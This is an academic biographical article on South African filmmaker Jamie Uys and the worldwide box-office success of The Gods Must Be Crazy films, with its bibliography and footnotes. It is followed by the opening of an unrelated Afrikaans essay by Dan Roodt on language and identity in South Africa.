The commercial success, locally and internationally, of The Gods must be Crazy, is almost impossible to summarize within a single article. The picture took only 96 hours to break all South African box-office records (Christie 1980, Anonymous 1980a). Shortly after release, theatres squeezed in extra screenings and still could not accommodate the demand. At one Potchefstroom theatre, police stood guard as people who could not buy tickets became violent (Anonymous 1980b). Percy Tucker, famed chief of the booking agency Computicket, was amazed, “I have never seen such business… In Pretoria one of my switchboard operators lost her voice” (Christie 1980 and Anonymous 1980c). By the second Saturday that it was on circuit, 99% of all seats of all sessions — nationally — were still sold out in advance (Christie 1980 and Anonymous 1980c). Not only bioscopes were sold-out: drive-in theatres were a spectacle: at outside drive-ins it was common to see crowds (who could not get tickets) standing along the fence to try and catch a glimpse. Frustrated, because they were unable to obtain tickets in cities, groups clubbed together, hired busses and travelled to neighbouring towns’ drive-ins (Anonymous 1980d). Throughout the country, the film’s initial run was repeatedly extended. Even Nelson Mandela, still in jail, saw it (Mimosa Films 1998). The gods must be crazy became the first film to make $5 000 000 in South Africa (Mimosa Films 2007a).
Instead of selling Funny People to American majors for distribution, Mimosa Films sold it from country to country, and The Gods must be Crazy was to be circulated in the same way. Dr. Troskie and a small team of representatives criss-crossed the globe, more than once, with their Coke movie (Mimosa Films n.d.).

The Gods must be Crazy was one of 1981’s Top Twenty most successful pictures in Spain (the King Mother saw it three times). In Japan it grossed $3 000 000 in 12 days (Mimosa Films 1986b, 2007a, and n.d.). By February 1982, some 450 000 Japanese had seen it (Mimosa Films 1986b, 2007a, and n.d.). In the Tokyo bioscope, where it was screened, even standing room was sold out. The film amassed such gigantic amounts in Japan that the economic controllers refused that the Troskie organisation withdrew all its profits from the country. In 1983, 1 000 000 Frenchmen bought tickets — beating Steven Spielberg’s E.T. and becoming that year’s top grossing film in France (Mimosa Films 1986b, 2007a, and n.d.). Even in the Soviet Union — where it showed illegally – it was a smash hit. In Portugal it showed non-stop for a year. In Montreal it beat all Hollywood pictures’ box office business in the course of ten days. Within 7 days, 1 000 000 Swedes saw it (Mimosa Films 1986b, 2007a, and n.d.). In Malaysia it ran for 100 weeks and became the most successful film to show there — ever. In Australia it ran for more than a year (in one Sydney bioscope, paramedics were reportedly called in to help moviegoers who suffered fits from laughing hysterically. In Brisbane, a psychiatrist was said to prescribe tickets to the film for his depression sufferers). When it hit New York City, in 1984, it set new records — becoming the foreign film with the longest uninterrupted run in the history of the Big Apple (Mimosa Films 1986b, 2007a, and n.d.).
In 1985, The gods must be crazy became the single most successful picture to be screened in Los Angeles; it showed for years in Beverly Hills. In Miami the film ran for five months. By 1984 the film was one of the most popular pictures to show in the USA — nationally. By May 1986 the picture entered its 93rd week on the list of the top fifty grossing pictures in the USA (Mimosa Films 1986b, 2007a, and n.d.). In the United States, The Gods must be Crazy would become the film with the longest uninterrupted run of all time. From West Germany to India to New Zealand to South America, the South African picture set records. When N!Xau and Uys were invited to visit Japan and France respectively they were received in a way reserved for statesmen and superstars. By 1985, The Gods must be Crazy had already earned $90 000 000. By 2001 it had grossed about R950 000 000. From 1980 to 1989, The Gods must be Crazy was screened uninterruptedly somewhere on earth (Mimosa Films 1986b, 2007a, and n.d.).
Apart from millions of dollars, accolades from across the globe streamed in. This included Switzerland’s Festival International du Film de Comedie Pour: Grand Prix award (1981) as well as the Norwegian Film Festival’s Grand Prix, as well as the London Film Festival’s Outstanding Film of the Year award, both in 1981. Others include the 1982 French Chamrousse Grand Prix award, the 1984 Southern California’s Motion Picture Council’s Golden Halo Award of Special Merit, and the 1985 American Academy of Science Fiction and Horror Films: Golden Scroll (Mimosa Films 2007b).

The gods must be crazy was internationally released as South Africa experienced unprecedented violent political conflict waging over apartheid. Internationally the country was treated as a pariah state. Anti-apartheid groups throughout the world desperately tried to brand the film as fascist propaganda 16, but to little effect — even in countries most vehemently opposed to apartheid, people flocked to see it in record numbers (Nigeria even boasted a Jamie Uys film club). The film spoke for itself: N!Xau was the wise hero of the film while the so-called civilized characters were the ridiculous ones. Uys was (repeatedly) asked why he did not make a film denouncing apartheid or at least addressing the issue. The filmmaker (repeatedly) retorted that he was in the business of humour and there was nothing funny about the system (see Rufus-Ellis 1983, Bright 1985, Anonymous 1985b, 1985a, and 1985c).

While the world roared with laughter at The gods must be crazy, Uys released Funny People 2 (Uys 1983). The Uys team compiled a comical picture from roughly 4 000 ordinary people they filmed in some 80 extraordinary situations (see Du Plessis 1985 and Anonymous 1983b). Repeating his candid-camera recipe, the picture was a fantastically funny hit. After its première on 26 October 1983, it quickly grossed staggering amounts: countrywide never-ending rows at the box-office characterised its release (Eales 1983, Anonymous 1983a). In the film’s initial run it earned a R100 000 per day — breaking The Gods must be Crazy’s local record (and as such, all box office records of all pictures ever showed in South Africa up until then) (see De Bruin 1985 and Anonymous 1983c). Troskie sold Funny People II at the 1983 Milan Film Festival with tremendous success to almost twenty countries and became an overseas hit (see De Bruin 1985 and Anonymous 1983c).

The Gods Must Be Crazy 2

By now Hollywood offered Uys budgets, production teams, cutting-edge technology and super stars — anything the South African wanted the Americans (competing for his creative/professional affections) would deliver. Never without an abundance of ideas, he contemplated some cherished earlier concepts. Already in 1981, Uys wanted to reshoot his Rip Van Wyk (1959) as Rip McDonald in Las Vegas. Or possibly make a picture about a hensopper in the Anglo-Boer War (De Bruin 1981 and 1983a:9). However, the world’s movie moguls demanded a sequel to the Bushman feature. In September 1984, Dr. Troskie announced that Mimosa Films was developing a sequel to The Gods must be Crazy 17 (Anonymous 1984). The follow-up was Uys’s most expensive movie by far. With a budget of between $15-20 million, Uys could afford a huge production team but as always stuck with a tiny team (15) and took charge of almost all aspects (Anonymous 1985f).

“In the sequel I am the equivalent of the Coke bottle which dropped from the sky…” said actress Lena Farugia (Christie 1986). Xi (N!Xau) searches for his lost children. A slick New Yorker (Farugia) and a macho nature expert (Hans Strydom) are in a plane crash and — like the Coke bottle — drop into the wild. Meanwhile, inept poachers get lost as well as two soldiers (of opposing sides). All the aforementioned four stories are knit together — with hysterical results (Uys 1989). As Dr. Troskie sold The Gods must be Crazy 2 amidst tremendous worldwide interest at the 1986 Cannes Film Festival, Uys started filming the actual picture (Botha 1986 and Steenkamp 1986). The expensive sequel, from concept to release, took five years to create; filming on a scale of 60:1. On average, the production team drove roughly 650 km between locations throughout Southern Africa. Uys also did post-production work and optical illusions at England’s legendary Pinewood Studios (Mimosa Films n.d.).

Two days after its release in October 1989, the picture, as was the tradition, had broken all South African movie records. Locally, The Gods must be Crazy 2 was earning +/- R1 000 000 per week by October 1989 (Mimosa Films 2000 and 2007a).

Once more South Africa and the world could not get enough of Uys’s fun fanfare. At the dawn of the twenty-first century, The Gods must be Crazy 1 and 2 had earned more than $500 million (more than R5 000 000 000) collectively (Mimosa Films 2000 and 2007a).
Both the The Gods must be Crazy films were so successful that it spawned three illegal Chinese films: Crazy Safari (1991), Crazy in Hong Kong (1993) and The Gods must be Funny in China (1994) (McLennan-Dodd and Tomaselli 2005). The success of the original films, The Gods Must Be Crazy and The Gods Must Be Crazy II, however, also came with vehement criticism, and claims that the films were racist (see Nicholls 2008 and Tomaselli 2006).

Still, Uys’s imagination was a kaleidoscope and soon he was exploring various ideas. By 1996, Jamie Uys (75) was the country’s undisputed sage of the silver screen: he was unsurpassed in acclaim, in commercial success and technical knowledge. In South Africa only one filmmaker could break Uys’s records — Uys. By January 1996 he was busy scriptwriting when he suffered his third and fatal heart attack (Mimosa Films 2007a).

When the laughter died

“I can’t write poetry — so I make movies.” Jamie Uys (1921 -1996)

Jamie Uys’s Mimosa Films phase represents his creative and professional apex. In his three decades with Mimosa Films, Jamie Uys’s immeasurable creative mind and vast professional experience climaxed. Boet Troskie supplied the financial security, and boundless time, for Uys to tell his stories the way that he had dreamt of. Their unique professional understanding and genuine friendship resulted in the collaboration creating the most popular pictures to come from the continent to date. In the process, Uys’s creative genius and Troskie’s corporate know-how spawned a business entity spanning the globe. Tellingly, Deon Meyer, in an article on filmmaking software (2005:77) claims,

Vandag se PC’s [persoonlike rekenaars of “personal computers”], toegerus met ʼn bekostigbare grafiese versnellerkaart en minstens 256 megagrepe vrye toegangsgeheue (RAM) [“Random Access Memory”], draf redigering ook lag-lag kaf. Veral danksy ʼn nuwe generasie programme wat jou in ʼn oogwink kan laat ontpop as die nuwe Jamie Uys.

[Today’s PCs [personal computers], equipped with an affordable graphic accelerator and at least 256 megabytes of Random Access Memory (RAM), makes editing much easier. Especially thanks to a new generation of programs that in an instant can make you emerge as the new Jamie Uys].

In other words, anyone can now supposedly become a world-renowned filmmaker, unlike Uys, who painstakingly edited his rolls of film. Note also that Meyer suggests someone can become a Jamie Uys, not a Steven Spielberg or Riddley Scott. Katinka Heyns (1996:35) said the following of Uys,

Almal wat selfs maar net op ʼn afstand met hom saamgewerk het, weet hy was veeleisend, moeilik, perfeksionisties tot by ʼn punt waar almal om hom begin selfmoord oorweeg, verbaal gestremd, verstrooid, geniaal, met niks tevrede nie, en — so absurd as wat dit ook mag klink — lief vir alles om hom en maklik om lief te hê. Hy was ʼn bietjie soos daardie Switserse mes met die baie goeters: skêr, blikoopmaker, els, naelvyl, saag, skroewedraaier, noem maar op.

[Everyone who even just at a distance worked with him, knows he was demanding, difficult, perfectionist to a point where everyone around him started contemplating suicide, verbally disabled, a scattered genius, satisfied with nothing, and — as absurd as it may sound — loved everything around him and easy to love. He was a bit like that Swiss knife with many things: scissors, can opener, awl, nail file, saw, screwdriver, you name it.]

When Uys joined Mimosa Films, new voices within the Afrikaans artistic community painted a wholly different picture of South African society than that which Uys was famous for. Breyten Breytenbach (poetry), André P. Brink (prose), Jans Rautenbach (films), P.G. du Plessis (dramas) showed a South Africa that was worlds apart from the somewhat pleasantly quaint depictions of Uys. Uys, totally aware of these shifts, did not adapt his style or approach. While with Mimosa Films, he excelled at creating unique cinematic moments void of messages that could (and would) become dated.

Uys’s captivating imagery left lasting impressions on millions spread across the globe. Furthermore, he introduced Southern Africa’s overwhelming natural beauty to global audiences in a way that has never before been done (the impact, directly or indirectly, it assuredly had on international tourism to the south of Africa is of course not quantifiable). During a time when South Africa’s film industry was crumbling, Uys’s pictures proved there was hope. In the Mimosa Films phase he succeeded in establishing the local film industry within the global arena. Time and again, he proved that a tiny picture could compete with Hollywood’s star-studded majors, albeit not in terms of budget but in imagination and ingenuity, and that that was in fact all that counted. Heyns (1996:35) notes that Uys accomplished this success “sonder Hollywoodsterre, sonder Amerikaanse geld, sonder seks of bloed of geweld of peperduur spesiale effekte” [without Hollywood stars, without American money, without sex or blood or violence or expensive special effects].
Jamie Uys reached his international grandiose success at a time when South Africa was globally a pariah. His films succeeded in transcending age, race and ideologies. Arguably his greatest achievement was being the embodiment of Walt Disney’s famous saying: “If you can dream it — you can do it.” Jamie Uys never stopped dreaming and never stopped doing: spectacularly so; “Hy het sy intuïsie gevolg en sy intuïsie was onfeilbaar” [He followed his intuition and his intuition was infallible] (Heyns 1996:35).


Anonymous. 1966a. “Jamie Uys soek S.A. se twaalf mooistes.” Die Vaderland, September 3.
Anonymous. 1966b. “Rus? Jamie Uys soek al weer mooi meisies.” Die Beeld, September 18.
Anonymous. 1966c. “Uys is on look-out for stars.” Natal Daily News, December 9.
Anonymous. 1968a. “Bit off a bit too much.” Cape Argus, October 30.
Anonymous. 1968b. “Dirkie se mense kry swaar in Namib.” Die Oosterlig, October 18.
Anonymous. 1968c. “Dog and hyena in real fight – Jamie Uys film.” Namib Times, October 25.
Anonymous. 1968d. “Doggone! – Almost.” Windhoek Advertiser, October 28.
Anonymous. 1968e. “Gaan eentalige rolprente maak.” Rustenburg Herald, August 2.
Anonymous. 1968f. “Jamie Uys begin werk aan nuwe film.” Victoria West Messenger, August 2.
Anonymous. 1968g. “Jamie Uys begin werk aan nuwe film.” Richmond Era, August 2.
Anonymous. 1968h. “Jamie Uys kom maak rolprent in Namib.” Namib Times, April 19.
Anonymous. 1968i. “New film part for schoolboy.” The Star, May 9.
Anonymous. 1968j. “’Nuwe’ Uys-trek van 7000 myl deur wildernis.” Die Vaderland, September 11.
Anonymous. 1968k. “Uys film turns up trumps in America.” The Friend, July 25.
Anonymous. 1968l. “Wise men a U.S. hit.” The Star, July 23.
Anonymous. 1969. “Filmster Dawid weet nie wat ‘n rolprent is nie.” Caledon Venster, January 10.
Anonymous. 1972a. “Jamie se hart lol.” Die Oosterlig, March.
Anonymous. 1972b. “Jamie Uys ongesteld.” Suidwes Afrikaner.
Anonymous. 1973. “Jamie finds the beautiful people.” Showbiz 1(7):45.
Anonymous. 1974a. “Beautiful people.” Variety, November 27.
Anonymous. 1974b. “Prestasie vir S.A. film-maker.” Die Volksblad, February 19.
Anonymous. 1974c. “They are such beautiful people.” The Friend, February 15.
Anonymous. 1974d. “Uys fell in love with these Beautiful People.” Mossel Bay Advertiser, March 29, pp. 2.
Anonymous. 1975a. “Beautiful People verbyster met sy syfers.” Rapport tydskrif, September 28.
Anonymous. 1975b. “Top grosses ‘Beautiful People’.” SA Film Weekly 14(34):1.
Anonymous. 1976a. “‘Funny People’ was no joke on the pocket.” Natal Daily News, May 10.
Anonymous. 1976b. “Amusing situations.” Natal Witness, April 1.
Anonymous. 1976c. “Funniest ever.” Springs & Brakpan Advertiser, March 26.
Anonymous. 1976d. “Funny People het uit oefening ontstaan.” Die Volksblad, April 1.
Anonymous. 1976e. “Funny People sit TV koud.” Die Oosterlig, April 9.
Anonymous. 1976f. “Hulle skiet toe op Jamie.” Die Burger, March 27.
Anonymous. 1976g. “Jamie Uys in Kaapstad vir Funny People.” Die Burger, March 27.
Anonymous. 1976h. “Jamie Uys’ film costly to make.” Pretoria News, May 6.
Anonymous. 1976i. “Jamie-prent is los voor.” Rapport, April 25.
Anonymous. 1976j. “Ons soldate lag 2 uur.” Rapport, March 28.
Anonymous. 1976k. “Uys in wolke oor drie prente vir wêreldmark.” Die Volksblad, May 31.
Anonymous. 1979a. “Jamie does it again.” S.A. Digest, June 1.
Anonymous. 1979b. “Jamie Uys.” Die Volksblad, December 1.
Anonymous. 1979c. “Jamie-prent is klaar treffer.” Die Beeld, May 16.
Anonymous. 1979d. “Nou is dit Jamie en die Boesmans.” Rapport, December 2.
Anonymous. 1980a. “‘Gods’ an all time box-office champ.” Pretoria News, October 1.
Anonymous. 1980b. “‘n Treffer soos min.” Beeld, September 18.
Anonymous. 1980c. “Crazy run on Uys film.” The Daily News, September 17.
Anonymous. 1980d. “’Mal gode’ mania!” Witbank News, October 17.
Anonymous. 1980e. “Twintig miljoen in VSA sien Beautiful People.” Die Volksblad, July 11.
Anonymous. 1980f. “Uit die bynes.” Die Burger, April 5.
Anonymous. 1983a. “Funny People 2.” Pretoria News, October 27.
Anonymous. 1983b. “Jamie lag weer.” Die Burger, August 13.
Anonymous. 1983c. “Mimosa-treffer laat geld instroom.” Die Volksblad, December 12.
Anonymous. 1984. “Gods 2 gaan eers geld maak.” Die Volksblad, September 15.
Anonymous. 1985a. “Apartheid ‘verwar’ Jamie Uys.” Die Burger, May 13.
Anonymous. 1985b. “Jamie Uys maak net treffers.” Republikein, May 17.
Anonymous. 1985c. “Politiek nie Jamie se kos.” Die Transvaler, May 13.
Anonymous. 1985d. “Uys hits the top with a click.” Pretoria News, May 3.
Anonymous. 1985e. “Uys’s methods amaze US.” PE Evening Post, May 3.
Anonymous. 1985f. “Yanks maak ‘Gods 2’.” Die Burger, November 27.
Botha, J. 1986. “Jamie pak weer die gode, maar sonder Goldie Hawn.” Rapport, May 4.
Breytenbach, P. 1968. “Die filmavontuur in die Namib.” Die Transvaler, October 19.
Breytenbach, P. 1974. “Jamie Uys se dieretreffer in R2,6 milj.” Die Transvaler, September 30.
Breytenbach, P. 1981. “Jamie loer by Yanks vir filmagtergrond.” Die Transvaler, August 19.
Bright, B. 1985. “Apartheid is out for Jamie.” P.E. Evening Post, May 15.
Christie, R. 1980. “Crazy? New Uys film hits the jackpot.” The Argus, September 16.
Christie, R. 1980. “Jamie Uys movie packing them in.” The Argus, September 19.
Christie, R. 1986. “Now Lena’s set for ‘Crazy’ stardom.” The Star, August 1.
De Bruin, W. 1981. “Die gode is mal.” Kalender, May 7.
De Bruin, W. 1983a. “Jamie Uys se soort is maar dun gesaai.” Die Volksblad, April 23, pp. 9.
De Bruin, W. 1983b. “Jamie Uys se sort is maar dun gesaai.” Die Burger, April 23.
De Bruin, W. 1985. “Funny People 2 al verby halfmiljoen!” Die Volksblad, November 11.
De Cock, G. 1967. “Die Landstem keer nooiens aan vir Jamie Uys.” Die Landstem, January 4.
Du Plessis, L. 1985. “‘Candid’ boost to acting.” P.E. Herald, September 25.
Eales, A. 1983. “Another funny Uys winner.” P.E. Herald, October 29.
Ferreira, A. 1976. “Jamie Uys.” Cape Argus, March 30.
Garden, G. 1983. “SABC’s stranglehold on the film industry.” Rand Daily Mail, August 13.
Gibson, Gilbert. 1966. “Mooi nooiens vir Jamie en puik rolprente wat S.A. uitbeeld.” Die Landstem, December 28.
Gous, E. 1983. “Noem hom maar Jaamie of Djeimie.” Rooi Rose, October 5, pp. 68.
Greig, R. 1976. “‘Funny People’ on way to record.” The Star, April 24.
Hay, R. 1980. “A nose for a winner.” Screen International, September 27.
Heyns, Katinka. 1996. “Die volledige rolprentmaker.” Insig, Maart, pp. 35.
Javis, R. 1976. “Smash it even before opening.” P.E. Evening Post, April 2.
Keil, J. 1974. “Jamie’s labour of love.” Rand Daily Mail, February 18, pp. 10.
Le Roux, André and Lilla Fourie. 1982. Filmverlede: Geskiedenis van die Suid-Afrikaanse speelfilm. Pretoria: UNISA.
McLennan-Dodd, Vanessa J. and Keyan G. Tomaselli. 2005. “Made in China: The Gods Go East.” Visual Anthropology 18:199–228.
Meyer, Deon. 2005. “’n Oscar, dankie.” Insig, January, pp. 77.
Mimosa Films. 1980. Die Professor en die Prikkelpop. Mimosa Films Private Archive.
Mimosa Films. 1985. Mimosa se 21 jaar. Mimosa Films Private Archive.
Mimosa Films. 1986a. Funny People. Mimosa Films Private Archive.
Mimosa Films. 1986b. The gods must be crazy. Mimosa Films Private Archive.
Mimosa Films. 1988. Dirkie. Mimosa Films Private Archive.
Mimosa Films. 1998. General. Mimosa Films Private Archive.
Mimosa Films. 2000. The gods must be crazy II. Mimosa Films Private Archive.
Mimosa Films. 2007a. Jamie Uys Biographical Document. Bloemfontein: Mimosa Films Private Archive.
Mimosa Films. 2007b. Jamie Uys: List of awards. Mimosa Films Private Archive.
Mimosa Films. n.d. Condensed Chronology. Mimosa Films Private Archive.
Mimosa Films. n.d. List of films. Mimosa Films Private Archive.
Nicholls, Brendon. 2008. “Apartheid cinema and indigenous image rights.” Scrutiny2: Issues in English Studies in Southern Africa 13(1):20-32.
Pienaar, M. 1968. “Die keer is Lettie se kombuis in die woestyn.” Die Landstem, October 20.
Richard, W. 1985. “Uys to make sequel to ‘Gods’.” E.P. Herald, March 27.
Rossouw, E. 1983. “Jamie Uys maak wêreld-treffers op die ou manier.” Sarie Marais, September 28.
Rufus-Ellis, R. 1983. “The other side of Uys.” Natal Daily News, October 25.
Slabbert, C. 1976. “Triomf vir SA sakevernuf.” Rapport, May 30.
Steenkamp, M. 1986. “Jamie raak weer Crazy.” Die Republikein, May 13.
Stemmet, Jan-Ad. 2011. On wings of wisdom. Bloemfontein. Mimosa Films International.
Steyl, I. 1980. “Jamie Uys’new film.” The Star, March 7.
Sutton, K. 1983. “Film game paying off.” Eastern Province Herald, May 6.
Thomas, B. 1985. “The gods may be crazy, but Uys has his feet on the ground.” The Star, May 2.
Tomaselli, Keyan G. 2006. “Rereading the Gods Must be Crazy Films.” Visual Anthropology 19(2):171-200.
Uys, Jamie. 1967. Die professor en die prikkelpop. Mimosa Films.
Uys, Jamie. 1969. Dirkie. Mimosa Films.
Uys, Jamie. 1969. Marching to Pretoria. Mimosa Films.
Uys, Jamie. 1969. The great adjustment. Mimosa Films.
Uys, Jamie. 1974. Beautiful people. Mimosa Films.
Uys, Jamie. 1976. Funny people. Mimosa Films.
Uys, Jamie. 1979. The gods must be crazy. Mimosa Films.
Uys, Jamie. 1980. The gods must be crazy. Mimosa Films.
Uys, Jamie. 1983. Funny people 2. Mimosa Films.
Uys, Jamie. 1989. The gods must be crazy 2. Mimosa Films.
Van Rensburg, K. 1976. “Jamie se Funny People vol snaakse mense.” Hoofstad, March 25, pp. 35.
Van Zyl, H. 1975. “Van film-maker tot filmmeester.” Die Burger, December 3.
Volkman, Toby 1988. “Out of Africa: The Gods Must be Crazy.” P. 236–247 in Image Ethics: The Moral Rights of Subjects, edited by J. Katz, Larry Gross, and Jay Ruby. New York: Oxford University Press.


  1. Wynand Uys, Jamie Uys’s youngest, starred in Die Professor en die prikkelpop. He was such a success that Uys decided to cast the eight year old in the title role of Dirkie. “All children under the age of ten are natural actors…It is the adults who are sometimes difficult to direct,” the director said (Anonymous 1968i).
  2. Apart from the difficulties in filming in a desert, what made the picture even more of a feat was that it was filmed twice: once in Afrikaans, and once in English (Anonymous 1968e).
  3. Once a lion almost killed Wynand Uys, and on another occassion (left alone as his father shot aerial shots of him) he really did get lost in the desert (Mimosa Films 1988).
  4. The hyena once almost killed the Alsatian, the baboon bit an actress, one dog almost devoured the snake it was supposed to be terrified of, Lollie, Dirkie’s terrier took off over the dunes one night (see Anonymous 1968c, 1968d, 1968a).
  5. The picture was also critically acclaimed: awards include a prize from the 1972 Teheran Film Festival (Mimosa Films 2007b).
  6. Apart from a few Bushmen.
  7. While Beautiful People was in the making, Dr Troskie commissioned Daan Retief to compile Jamie21. It was a celebration of Uys’s career, showing scenes from all his pictures. It ended with a few minutes from Uys’s unreleased ‘animal movie’ (Le Roux and Fourie 1982:142).
  8. Uys’s epic had even made news in Hollywood. The American legend, Bob Hope, wanted to narrate the picture, but Uys decided that the animals would be the only big stars in this film (Breytenbach 1981).
  9. Studios offered Dr Troskie fortunes for the unused film material (Van Rensburg 1976:35)
  10. For international distribution, Uys edited, and had dubbed, a British / European / American / Spanish version (Slabbert 1976).
  11. In Sweden alone it showed – uninterruptedly – for 2½ years (showing for three years in Stockholm) (Mimosa Films n.d.).
  12. This is disputed by Volkman (1988).
  13. N!Xau Kganna (different versions of spelling exists) of the Zjoen-Whasie (‘the only people’) tribe (Mimosa Films 2007a).
  14. Filming across Southern Africa, nature, as always, was a moody actor. Animals were difficult to direct, and he had a star that had never seen a movie in his life and communicated only through a translator (Mimosa Films 1986b).
  15. Apart from being in the millions, the exact costs have never been verified.
  16. Many subsequent academic studies follow this line of thought (see e.g. Tomaselli 2006).
  17. Uys remarked that he did not like the title, The gods must be crazy, and hoped to call the sequel something else. In the end, name-recognition was simply too vital to use a different title (Richard 1985).

Taal, landskap en identiteit

Download PDF
Download PDF
Download PDF

Dan Roodt

Die kwessie rondom taal is besig om dié aangaande ras te vervang as die belangrikste enkele strydpunt in Suid-Afrika. Selfs gedurende die grondwetlike onderhandelinge tussen die Nasionale Party en die ANC tydens die aanloop tot die 1994-verkiesing het slegs drie vraagstukke hul onderskeie standpunte geskei, naamlik eiendomsreg, die sogenaamde uitsluitingsklousule (waarvolgens ’n werkgewer stakende werkers kon uitsluit), en natuurlik, die reg op, of soos dit geblyk het, die keuse van moedertaalonderrig in staatskole. Die berugte rassevraagstuk het nie eens ter sprake gekom nie, wat sekerlik vreemd mag aandoen aan enigiemand buite Suid-Afrika waar rassesegregasie of die woord “apartheid” ewe beskrywend van ons geag word as byvoorbeeld “rewolusie” van Frankryk.

Maar dit wat hier volg, is geen politieke geskrif of poging om tot ’n politieke debat toe te tree nie, hoe gepolitiseer die taalkwessie in Suid-Afrika ook al mag wees. In die eerste plaas gaan dit vir my om ’n besinning oor ’n ervaring van vreemdelingskap in my eie land, ’n soort interne eksiel of ballingskap waarmee ek daagliks as nie-Engelse persoon gekonfronteer word. Op pad tussen Stellenbosch en Franschhoek, in een van die oudste en mees oorwegend Afrikaanse dele in die land, sien ek ’n reusagtige groot padteken wat tweetalig in Engels en Xhosa aangebring is. Op my paspoort is daar deesdae net Engels en Frans, wat my daaraan herinner dat die Suid-Afrikaanse staat kwalik meer Afrikaans as taal erken, hoewel dit in naam steeds een van elf amptelike tale is. Rondom my is daar vele Afrikaners, vele stoere Afrikaners moet ’n mens byvoeg, wat angsvallig besig is om hul kinders in Engels op te voed, kinders met name soos “Justin” en “Megan”, asof die ouers reeds geestelik verhuis het na ’n Engelssprekende land en nie hul spruite met onuitspreekbare Germaans-klinkende name wou opsaal nie.

’n Kafkaeske waas kleef aan dit alles, asof ons almal skuldig is aan ’n onnoembare misdaad en nou daarvoor moet boetedoen deur ontneem te word van ons kulturele burgerskap. Die verskriklike gemeenplaas “apartheid” het sekerlik iets daarmee te doen, maar verduidelik nogtans nie alles nie. Buitendien ervaar ek reeds jare lank hierdie Afrikaanse woord as iets vreemds en onsinnigs, ’n versameling letters wat ek vir die eerste keer gesien het toe ek ’n straat oorsteek in ’n vreemde stad in ’n vreemde land waar dit skielik in wit op die pad geverf voor my opgedoem het.

Denke oor taal en kultuur in Suid-Afrika behaal sy absurdste hoogtepunte juis op amptelike of kwasi-amptelike vlak. In hierdie verband herinner ’n mens jou die uitspraak van regter Johann Kriegler wat beweer het dat indien twee Yslandse kinders ’n Afrikaanse skool sou bywoon, die hele skool sy onderrigmedium na Yslands behoort te verander. Miskien is Ysland hier ’n metafoor vir die amptelike kilheid jeens Afrikaans, of miskien was dit ’n subtiele manier om te sê dat Afrikaans net soos Oud-Yslands, daardie belangrike literêre taal van die sages, sou kon vergaan om iewers in die toekoms net deur spesialiste begryp te word.

Ek sou graag hier wou aanhaal uit die Oud-Yslands, maar as ’n plaasvervanger deel ek graag met die leser die volgende frase van Reinhart die Vos in die Middel-Nederlandse weergawe:

Het staet so, suldi hebbe vrome,
Hier ne mach zijn geen langher staen.
Volghet mi, ic sal voeren gaen.
Wi houden desen crommen pat,

wat rofweg die volgende beteken: “ons kom nêrens deur langer te talm nie, volg my, ek gaan voor, ons neem dié kronkelende pad.” Omdat ons Reinhart ken, weet ons dat dit ietwat riskant is om enige kronkelende pad met hom aan te durf. Só ook die huidige teks, wat begin met ’n kronkelende rit per motor tussen Johannesburg en die Hartebeespoortdam, ’n heel opwindende tog deur rante en klowe wat met aalwyne, verknoetste kareebome en rotsblokke van ysterklip besaai is, brûe oor spruite en riviere, asook skielike draaie en hoogtes wat teen ’n sekere spoed ontstemmend kan raak.

Niks kan meer skokkend wees in die Franse sin van chocquant, as juis die oorgang vanaf, sê maar, Sandton City of die Rosebank Mall, na die Magaliesberg via daardie kronkelpad nie. ’n Mens sou dit ’n Proustiaanse verplasing kon noem, dog sonder om reg aan Proust te laat geskied aangesien syne nooit per motor plaagevind het nie, slegs per trein. Die Europese reisiger is gewoond daaraan om vir twee ure te ry en agterna hom in ’n ander land te bevind, met ’n ander taal, ’n ander mentaliteit, ander gewoontes, kookkuns, gebare, plekname wat moeilik is om uit te spreek. Anderkant die Hartebeespoortdam lê distrikte soos Elandskraal, Mooinooi, die dorpe Rustenburg en Brits, die “diep platteland” soos dit bekend was in die politieke joernalistiek van die ou Suid-Afrika. Dog, anders as op die Europese Vasteland, heg die welaf Engelse inwoners van noordelike Johannesburg nóg waarde aan die kultuur, die taal, die kookkuns, die geskiedenis van hul bure agter die berg, nóg toon hulle hoegenaamd enige belangstelling daarin. Op ’n manier is hulle soos Brittanje se Euroskeptici: hulle staan vyandig teenoor die nie-Engelse, hulle vrees hul komplekse gewoontes en gevoelighede, hulle verag hul gebrek aan Engelse gesonde verstand (“common sense”). ’n Mens kan nie anders as om ’n verband te sien tussen Me Metcalfe se veldtog vir die Engelse taal in skole en die stelling ’n rukkie terug van mnr John Major, toe nog leier van die Tories, dat “Engeland die baarmoeder van die Westerse beskawing” is nie. Vergeet van die Grieke, die Romeine, die Italianers, die Franse, die Duitsers, slegs Engeland het kaart en transport vir die Westerse erfenis.

Daar is tekens dat die platteland — daardie ironiese term vir dit wat onplat voor ons uitstrek — en sy kultuur wat veel meer omvat as bloot die Afrikaanse taal, voortaan aan ’n destruktiewe vorm van herkolonisering, afrikanisering, noem dit wat jy wil, onderwerp gaan word, iets wat na my mening verreikende implikasies het nie net vir die Suid-Afrikaanse kultuur as geheel nie, maar vir ons syn en wese in Suid-Afrika.

Heidegger in sy reaksie op die onafwendbare indringing van tegnologie binne die menslike bestaan het twee houdings geformuleer wat ons behoort in te neem en wat ons mag red as denkende wesens met ’n estetiese projek op aarde. Die eerste is “Gelassenheit zu den Dingen1, wat letterlik in Afrikaans vertaal kan word as “gelatenheid teenoor dinge”. Dit is ’n manier van beide ja en nee te sê teenoor die veranderinge, tegnologies en andersins, wat ’n uitwerking op ons het. Die tweede houding is “Öffenheit für das Geheimnis”, wat weer eens letterlik “oopheid teenoor die geheimenis” beteken. Beide hierdie opvattinge het betrekking op die menslike wese as ’n gewortelde entiteit, gewortel ook in sy geboorteland, sy “pays” soos die Franse sê. Heidegger haal die Duitse digter Johann Peter Hebel aan waar hy sê:

Ons is plante wat — of ons dit wel erken of nie — met ons wortels uit die aarde moet opgroei ten einde in die eter te bloei en vrugte te dra.

